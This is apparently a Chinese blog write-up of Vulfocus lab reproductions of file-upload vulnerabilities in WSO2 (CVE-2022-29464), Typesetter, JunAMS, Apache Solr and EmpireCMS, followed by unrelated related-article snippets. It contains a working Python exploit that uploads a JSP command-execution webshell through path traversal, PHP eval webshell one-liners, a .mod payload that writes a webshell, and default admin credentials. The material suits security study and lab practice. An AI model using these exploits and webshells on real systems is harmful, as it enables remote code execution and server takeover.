Vulfocus靶场-文件上传-3

WSO2 文件上传 (CVE-2022-29464)

WSO2是一家成立于 2005 年的开源技术提供商。它提供了一个企业平台,用于在本地和整个 Internet 上 集成应用程序编程接口(API)、应用程序和 Web 服务。 某些 WSO2 产品允许无限制的文件上传和远程代码执行。攻击者必须使用带有 Content-Disposition 目录遍历序列的 /fileupload 端点来到达 Web 根目录下的目录,例如 ../../../../repository/deployment/server/webapps 目录。这会影响 WSO2 API Manager 2.2.0 及更高版本到 4.0.0;WSO2 Identity Server 5.2.0 及以上至 5.11.0;WSO2 身份服务器分析 5.4.0、5.4.1、5.5.0 和 5.6.0;WSO2 身份服务器作为密钥管理器 5.3.0 及更高版本至 5.10.0;和 WSO2 Enterprise Integrator 6.2.0 及更高版本至 6.6.0。

打开页面

使用exp进行测试上传shell文件

漏洞利用过程

利用这个漏洞的过程涉及到构造特殊的 HTTP 请求,通过这些请求,攻击者可以绕过正常的文件上传限制,将 JSP 文件上传到服务器的特定目录中。上传的 JSP 文件可以包含任意代码,一旦上传成功,攻击者就可以通过访问这个 JSP 文件来执行服务器上的命令。

以下是一个简化的利用过程示例:

import requests

# 目标 URL

url = "http://target.com/fileupload/toolsAny"

# 构造恶意 JSP 文件内容

jsp_payload = """

<FORM>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

String cmd = request.getParameter("cmd");

String output = "";

if(cmd != null) {

String s = null;

try {

Process p = Runtime.getRuntime().exec(cmd,null,null);

BufferedReader sI = new BufferedReader(new

InputStreamReader(p.getInputStream()));

while((s = sI.readLine()) != null) { output += s+"</br>"; }

} catch(IOException e) { e.printStackTrace(); }

}

%>

<pre><%=output %></pre>

"""

# 发送恶意文件上传请求

files = { "../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp": jsp_payload }

response = requests.post(url, files=files, verify=False)

# 输出上传后的 JSP 文件访问路径

print(f"Shell uploaded at: {url}/authenticationendpoint/shell.jsp")

在这个示例中,攻击者构造了一个包含恶意代码的 JSP 文件,并通过修改 HTTP 请求的 Content-Disposition 头部,使得文件被上传到服务器的 authenticationendpoint 目录下。这个目录通常用于存放认证相关的页面,但由于漏洞的存在,攻击者可以将其用作存放恶意文件的位置。

typesetter 文件上传 (CVE-2020-25790)

CVE-2020-25790 是一个影响 Typesetter CMS 的文件上传漏洞。该漏洞允许攻击者通过上传包含恶意 PHP 代码的 ZIP 文件,从而在服务器上执行任意代码。

漏洞复现步骤

1. 登录 Typesetter CMS

首先,使用管理员账号登录 Typesetter CMS。默认账号和密码通常为 admin/admin

示例:

访问首页 -> 点击 "logged in" -> 输入账号密码 admin/admin

2. 创建恶意 PHP 文件

创建一个包含恶意代码的 PHP 文件,例如:

<?php @eval($_POST['cmd']); ?>

将该文件压缩成 ZIP 包,例如 shell.zip

3. 上传 ZIP 文件

在 Typesetter CMS 中,找到文件上传功能,选择并上传 shell.zip

示例:

选择 "内容" -> "已上传的文档" -> "上传"

4. 解压 ZIP 文件

上传完成后,选择解压该 ZIP 文件。解压后会得到一个 PHP 文件,例如 shell.php

 junams 文件上传 (CNVD-2020-24741)

JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。 后台路径 /admin.php admin:admin

打开页面

后台登录

测试的时候一直发现请求上传接口出现异常 无法上传文件 利用exp进行上传

<form enctype="multipart/form-data" action="http://localhost//admin.php/common/add_images.html" method="post">  
<input type="file" name="file" size="50"><br>  
<input type="submit" value="Upload">  
</form>

solr 上传代码 (CVE-2019-12409)

Apache Solr CVE-2019-12409 是一个远程代码执行漏洞,涉及到 Java Management Extensions (JMX) 技术。JMX 通常用于管理和监控应用程序,但如果 JMX 服务端口暴露,远程攻击者可以利用这一点远程加载恶意的 Bean 文件,从而执行远程代码。

漏洞条件

此漏洞影响 Apache Solr 的 8.1.1 和 8.2.0 版本。在 solr.in.sh 配置文件中,默认启用了 ENABLE_REMOTE_JMX_OPTS 配置项,允许远程加载 JMX。漏洞触发还需要 RMI 端口开启,默认为 18983,并且运行在 Linux 服务器系统上。

漏洞复现步骤

  1. 环境搭建:下载受影响的 Apache Solr 版本,如 8.2.0 或 8.1.1,从官方网站获取。

  2. 配置检查:在 solr.in.sh 文件中确认 ENABLE_REMOTE_JMX_OPTS 设置为 "true",表明存在漏洞。

  3. 启动服务:在 bin 目录下使用 ./solr -e dih -force 命令启动 Solr 服务。

  4. 端口检查:使用 nmap 确认 JMX 服务的 18983 端口已开启。

  5. 利用工具:可以使用 mjet 和 msf 工具进行漏洞利用。mjet 可以部署恶意的 MBean,而 msf 的 exploit/multi/misc/java_jmx_server 模块可用于远程代码执行

我这里是本地搭建的老版本的vulfocus 复现不起来。 

官方的在线靶场也不能复现

empirecms 文件上传 (CVE-2018-18086)

CVE-2018-18086 是一个影响 EmpireCMS(帝国网站管理系统)7.5 及之前版本的严重安全漏洞。该漏洞存在于 e/class/moddofun.php 文件中的 LoadInMod 函数中,攻击者可以利用该漏洞上传任意文件,从而实现任意代码执行。

漏洞影响范围

该漏洞影响 EmpireCMS 7.5 及之前的所有版本。攻击者可以通过未验证的数据库表名修改,实现任意代码执行。

漏洞复现步骤

  • 访问后台管理页面:访问 http://<目标IP>/empirecms/e/admin/index.php,使用默认账号密码 admin/123456 登录后台管理页面。

  • 导入系统模型:依次点击“系统” -> “管理数据表” -> “导入系统模型”。

  • 上传恶意文件:创建一个名为 shell.php.mod 的文件,内容如下:

<?php file_put_contents("shell.php", "<?php @eval(\$_POST['cmd']); ?>"); ?>

  • 验证文件上传:导入文件后,访问 http://<目标IP>/empirecms/e/admin/shell.php,验证文件是否成功上传

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/81183.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于MCP的桥梁设计规范智能解析与校审系统构建实践

引言 今天本文准备盘一个大活&#xff0c;聊一聊偏特定行业一点的AI技术深入应用思考及实践。 一、传统设计行业项目背景与行业痛点 在桥梁设计领域&#xff0c;标准规范是设计的基础&#xff0c;直接关系到桥梁结构的安全性、耐久性和经济性。然而&#xff0c;传统的规范应…

远程连接电脑的方法?异地远程桌面连接和三方软件实现

远程连接电脑&#xff0c;是指通过网络技术&#xff0c;在一台设备上操控另一台设备的电脑桌面&#xff0c;实现跨地域的操作和管理。在日常工作、技术支持、远程办公等场景中&#xff0c;远程连接电脑都发挥着重要作用。实现远程连接电脑主要有系统自带工具和第三方软件两种方…

win11 安装 wsl ubuntu 18.04后换源失败!

记录几个问题是如何解决的。 一 下载wsl后&#xff0c;有报错&#xff1a; Installing, this may take a few minutes... WslRegisterDistribution failed with error: 0x8007019e Error: 0x8007019e ??????? Linux ? Windows ???? Press any key to continue... …

PY32系列单片机离线烧录器,可配置选项字节和上机台批量烧录

PY32离线烧录器采用 MINI-USB 接口&#xff0c;提供稳定的物理连接。设备与电脑采用串口方式通讯&#xff0c;波特率固定为 1M。需配合我们的上位机使用。PY32离线烧录器现支持芯片型号在PY32F002A/002B/002/003/030/071/072/040/403/303各封装和XL32F001/003。烧录器仅提供 3.…

深入理解 this 指向与作用域解析

引言 JavaScript 中的 this 关键字的灵活性既是强大特性也是常见困惑源。理解 this 的行为对于编写可维护的代码至关重要&#xff0c;但其动态特性也会让我们感到困惑。 与大多数编程语言不同&#xff0c;JavaScript 的 this 不指向函数本身&#xff0c;也不指向函数的词法作…

# IntelliJ IDEA企业版开发入门:包、类与项目结构详解

--- ## 一、项目结构与包的概念 ### 1. 标准项目目录解析 在IntelliJ IDEA中&#xff0c;一个Java项目通常包含以下核心目录&#xff1a; - **src**&#xff1a;源代码根目录。 - **main**&#xff1a;主代码目录&#xff0c;存放业务逻辑代码。 - **java**&#xff1a;Java…

NGINX 开源与社区动态:从基石到浪潮,持续演进的生态力量

NGINX 之所以能够成为全球应用最为广泛的 Web 服务器和反向代理软件之一,其成功的核心驱动力无疑是开源。开放的源代码、活跃的社区参与以及透明的开发过程,共同铸就了 NGINX 的辉煌。然而,正如所有大型开源项目一样,NGINX 的开源之路也并非一帆风顺,其社区动态也时常涌现…

Electron(一)

前言&#xff1a; 参考尚硅谷视频记录&#xff1a;b站尚硅谷视频-1小时上手electron 一、什么是electron? 是一款应用广泛的、跨平台的、桌面应用开发框架。 应用广泛&#xff1a;很多桌面应用都是这个框架写的&#xff0c;例如腾讯qq、百度云跨平台&#xff1a;跨window、…

AI Agent开发第64课-DIFY和企业现有系统结合实现高可配置的智能零售AI Agent(上)

开篇 我们之前花了将近10个篇章讲Dify的一些基础应用,包括在讲Dify之前我们讲到了几十个AI Agent的开发例子,我不知道大家发觉了没有,在AI Agent开发过程中我们经常会伴随着这样的一些问题: 需要经常改猫娘;需要经常改调用LLM的参数,甚至在一个流程中有3个节点,每个节点…

ssti刷刷刷

[NewStarCTF 公开赛赛道]BabySSTI_One 测试发现过滤关键字&#xff0c;但是特殊符号中括号、双引号、点都能用 可以考虑拼接或者编码&#xff0c;这里使用拼接 ?name{{()["__cla"~"ss__"]}}?name{{()["__cla"~"ss__"]["__ba&…

google-Chrome常用插件

google-Chrome常用插件 1. json格式化展示插件 github下载jsonview-for-chrome插件 通过离线安装方式 拓展程序-》管理拓展程序-》打开开发者模式-》加载已解压的拓展程序-》选择拓展程序解压的位置 2. 翻译插件 插件下载地址&#xff1a;Immersive Translate - Bilingual …

基于redis实现分布式锁方案实战

分布式锁的进阶实现与优化方案 作为Java高级开发工程师&#xff0c;我将为您提供更完善的Redis分布式锁实现方案&#xff0c;包含更多生产级考量。 1. 生产级Redis分布式锁实现 1.1 完整实现类&#xff08;支持可重入、自动续约&#xff09; import redis.clients.jedis.Je…

XML简要介绍

实际上现在的Java Web项目中更多的是基于springboot开发的&#xff0c;所以很少再使用xml去配置项目。所以我们的目的就是尽可能快速的去了解如何读懂和使用xml文件&#xff0c;对于DTD&#xff0c;XMLSchema这类约束的学习可以放松&#xff0c;主要是确保自己知道这里面的大致…

UI自动化测试中,一个完整的断言应所需要考虑的问题

在UI自动化测试中,一个完整的断言应全面覆盖用户界面(UI)的功能性、交互性和视觉正确性。以下是断言需要包含的核心内容及详细说明: 一、基础元素验证 存在性断言 验证元素存在于DOM中示例代码(Python + Selenium):assert driver.find_element(By.ID, "submit_btn&…

[Java][Leetcode middle] 238. 除自身以外数组的乘积

第一个想法是&#xff1a; 想求出所有元素乘积&#xff0c;然后除以i对应的元素本书&#xff1b;这个想法是完全错误的&#xff1a; nums[I] 可能有0题目要求了不能用除法 第二个想法是&#xff1a; 其实写之前就知道会超时&#xff0c;但是我什么都做不到啊&#xff01; 双…

5.16本日总结

一、英语 背诵list30&#xff0c;复习list1 二、数学 学习14讲部分内容&#xff0c;订正30讲13讲题目 三、408 学习计网5.3知识点&#xff0c;完成5.1&#xff0c;5.2题目并订正 四、总结 高数对于基本定义概念类题目掌握不好&#xff0c;做题时往往不会下手&#xff0c…

深度学习---常用优化器

优化器一&#xff1a;Adam&#xff08;Adaptive Moment Estimation&#xff09; 一、适用场景总结&#xff08;实践导向&#xff09; 场景是否推荐用 Adam说明小模型训练&#xff08;如 MLP、CNN&#xff09;✅✅✅稳定、无需复杂调参&#xff0c;适合快速实验初学者使用或结构…

SparkSQL 连接 MySQL 并添加新数据:实战指南

SparkSQL 连接 MySQL 并添加新数据&#xff1a;实战指南 在大数据处理中&#xff0c;SparkSQL 作为 Apache Spark 的重要组件&#xff0c;能够方便地与外部数据源进行交互。MySQL 作为广泛使用的关系型数据库&#xff0c;与 SparkSQL 的结合可以充分发挥两者的优势。本文将详细…

基于对抗性后训练的快速文本到音频生成:stable-audio-open-small 模型论文速读

Fast Text-to-Audio Generation with Adversarial Post-Training 论文解析 一、引言与背景 文本到音频系统的局限性&#xff1a;当前文本到音频生成系统性能虽佳&#xff0c;但推理速度慢&#xff08;需数秒至数分钟&#xff09;&#xff0c;限制了其在创意领域的应用。 研究…

AI画图Stable Diffusion web UI学习笔记(中)

本文记录讲解AI画图工具Stable Diffusion web UI的部分基本使用方法&#xff0c;以便进行学习。AI画图Stable Diffusion web UI学习笔记分为上、中、下三篇文章。 我在 AI画图Stable Diffusion web UI学习笔记&#xff08;上&#xff09;_webui-CSDN博客 这篇文章中介绍了Stabl…